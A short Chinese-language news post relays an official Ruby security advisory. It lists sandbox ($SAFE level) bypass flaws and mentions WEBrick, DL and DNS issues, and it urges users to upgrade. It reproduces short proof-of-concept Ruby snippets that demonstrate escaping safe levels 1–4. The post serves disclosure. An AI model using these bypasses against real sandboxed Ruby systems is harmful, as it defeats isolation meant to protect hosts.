Ruby解释器及其API库发现众多安全缺陷

　　Ruby上众多安全缺陷被发现，Safe Level、WEBrick、Dl和DNS查找都受到影响。Ruby官方网站建议使用者尽快将Ruby升级到最新版本。安全缺陷包括：

      untrace_var is permitted at safe level 4.

     

trace_var(:$VAR) {|val| puts "$VAR = #{val}" }

      Thread.new do
       $SAFE = 4
       eval %q{
         proc = untrace_var :$VAR
         proc.first.call("aaa")
       }
      end.join

 

      $PROGRAM_NAME may be modified at safe level 4.

     

Thread.new do
       $SAFE = 4
       eval %q{$PROGRAM_NAME.replace "Hello, World!"}
      end.join

      $PROGRAM_NAME #=> "Hello, World!"

     Insecure methods may be called at safe level 1-3.

     

class Hello
       def world
         Thread.new do
           $SAFE = 4
           msg = "Hello, World!"
           def msg.size
             self.replace self*10 # replace string
             1 # return wrong size
           end
           msg
         end.value
       end
      end

      $SAFE = 1 # or 2, or 3
      s = Hello.new.world
      if s.kind_of?(String)
       puts s if s.size < 20 # print string which size is less than 20
      end

     Syslog operations are permitted at safe level 4.

     

require "syslog"

      Syslog.open

      Thread.new do
       $SAFE = 4
       eval %q{
         Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
         Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)
         Syslog.info("masked")
         Syslog.close
       }
      end.join

　　其中WEBrick中发现的安全缺陷可能导致DoS攻击。具体情况见http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/

才发现Ruby官方网还有中文版的：http://www.ruby-lang.org/zh_CN/news/2008/08/08/multiple-vulnerabilities-in-ruby